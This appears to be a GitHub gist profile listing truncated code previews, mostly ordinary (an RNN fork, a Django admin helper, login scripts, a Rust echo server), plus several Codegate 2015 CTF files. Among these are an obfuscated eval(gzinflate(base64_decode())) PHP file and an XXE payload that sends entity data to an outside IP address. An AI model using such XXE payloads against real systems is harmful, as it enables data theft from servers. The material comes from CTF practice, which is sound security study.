Skip to content

Instantly share code, notes, and snippets.

View acuros's full-sized avatar

Seungyeon Kim(Acuros Kim) acuros

View GitHub Profile
@acuros
acuros / min-char-rnn.py
Created March 13, 2016 14:55 — forked from karpathy/min-char-rnn.py
Minimal character-level language model with a Vanilla Recurrent Neural Network, in Python/numpy
"""
Minimal character-level Vanilla RNN model. Written by Andrej Karpathy (@karpathy)
BSD License
"""
import numpy as np
# data I/O
data = open('input.txt', 'r').read() # should be simple plain text file
chars = list(set(data))
data_size, vocab_size = len(data), len(chars)
class AutoBrAdmin(admin.ModelAdmin):
br_attrs = tuple()
def get_object(self, request, object_id):
obj = super(AutoBrAdmin, self).get_object(request, object_id)
for attr in self.br_attrs:
value = getattr(obj, attr)
setattr(obj, attr, value.replace('\r\n', '').replace('<br>', '\r\n'))
return obj
@acuros
acuros / naver.js
Created May 19, 2015 11:08
naver.js
var navigator = {'appName':'Netscape', 'appVersion':'5.0'}
var loadFlash = false;
var dbits;
var canary = 244837814094590;
var j_lm = ((canary & 16777215) == 15715070);
function getLenChar(a) {
a = a + "";
return String.fromCharCode(a.length)
}
@acuros
acuros / daum.js
Last active July 30, 2018 02:22
Daum Login
var daumlogin = {};
var daum = {}
daum.Browser = {ua:'mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.11 (khtml, like gecko) chrome/23.0.1271.95 safari/537.11'}
daum.Event = {}
daum.Event.addOrderEvent = (function () {
var a = {};
return function (f, e, g, b) {
var h = null,
c, d;
if (!f) {
@acuros
acuros / echo.rs
Created May 19, 2015 10:34
Echo Server
use std::io::Write;
use std::io::Read;
use std::net::{TcpListener, TcpStream};
use std::str;
use std::thread;
fn main() {
let listener = TcpListener::bind("127.0.0.1:9338").unwrap();
println!("Echo Server!");
for stream in listener.incoming() {
<?php
if($_SERVER[REMOTE_ADDR]==$_SERVER[SERVER_ADDR] && $_GET['getflag']==1){
mysql_connect("localhost","rpg2_flag","rpg2_flag");
mysql_select_db("rpg2_flag");
$q = mysql_fetch_array(mysql_query("select flag from flag_table"));
echo("FLAG=".$q['flag']);
}
else{
mysql_connect("localhost","rpg2","rpg2");
@acuros
acuros / index1.txt
Last active August 29, 2015 14:19
XXE my server xml
<!ENTITY % payload "foo">
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://52.68.169.48/a?%payload;" >' >
%param1;
%external;
@acuros
acuros / dl_script.js
Last active August 29, 2015 14:19
Codegate 2015 - RPG2 - index.html
function o0OO0ooooO0(OO0O00000O0){alert(OO0O00000O0);}function o0ooO000o0O(OOO0OoOOooo){confirm(OOO0OoOOooo);}var server_status = 'open';
var host = document.URL.substr(document.URL.indexOf("//")+2);
host = host.substr(0,host.indexOf("/"))
refresh_tm = 500;
loading_bar = 0;
var logout = function(){
location.href='game.php?m=logout';
}
@acuros
acuros / auth.php
Last active August 29, 2015 14:19
Codegate 2015 - RPG2 - auth.php
<?php
eval(gzinflate(base64_decode("HJ3HjqNQGkbfZVYtsSCnJcnkbMCwGZFzzjz9ULNotdRdcgH3v993ThlT+RF3/8qnHoou3vJ/SbzmBPbfLE/HLP/3n0ZBpWZxmE79FZNfZOH4QePl59VuftVhYXAmQONAL7V9SANN5teYytVagw6WzroFfhTrNyvwyLIcJzvMH9inzvLteVChjq+eHiD1AKFvVfeInqoEEKjit9E0zuA+PyLagdI3hor4+dZTpyR59MtuIe1rh9DKdUz2xOtw6JMKKEH++n2FN7p2Lsq4Kc3jfr/QH3w5K9INnkv96FsVQNjT/4p70gZB8Lkebmm8sB+k0IPY0knV5ohcg1cXDVqLC0ylMgR9QkPMyoTOgsMnsRSnFSwLD0dzgea3r+Zo7EBiINhbIDgfILi8f1CwoaX7MF3WCymNLHWkTMG06wxOyieDDKs0DMeMTOdfdIed30c4wquRG36ajVVH5txbRKvzW8GHGg4V9Dd9iyBjakqFmzEYv6VSvYcZoI0D5oTWMCbljhibjRVgC32frixYz8epfUe1pS/QcgCGcgaUNK2EVJBQj39wgmCLALOsIvR0XeRaFstps+kGaOIsuw9yY89Wgzo5svzOKfloDijIn5S4SlvfWqk9qmnxYWpj8ovy0mPOeK/e23Zoq8R5FEyKf8JiWjmRZ+FSWBeJ6wWRivwVu93W0Vfq6qTy9X2bCxczk44Ev4D0dr3rPOmf+egejakg5hbMmvWIWjrL2hrk9L0W3jFTB3ngqlCRhiRddRaGAekVcCF40qaUjmXAYSWb53I/Ab4mYVmxmIiZF5uldsBvXMiLEE0cYkIjXUx1STVdbOyNtU9PGJPRa37QbVqDaTM2443cT/CQn63w0UE02jUYreRzhajs18yPeSy7fjIaD3K3m/RDmFjOHEg3N2qD0IM0Z8PMCa36+RwZhcmmRhLKadFf7QJETFfvaSzofFgq/ClzIwJsWbe3REKU29mzVn6EQAYSmWSB
var Page = {
contextFetchers: {
},
runContextFetchers: function(eventName) {
var contextFetchers = this.contextFetchers[eventName] || [];
var context = this;
var names = [];
$.each(contextFetchers, function(idx, callback) {
if($(names).filter(function(idx, obj){return callback.name == obj}).length !== 0) {
return;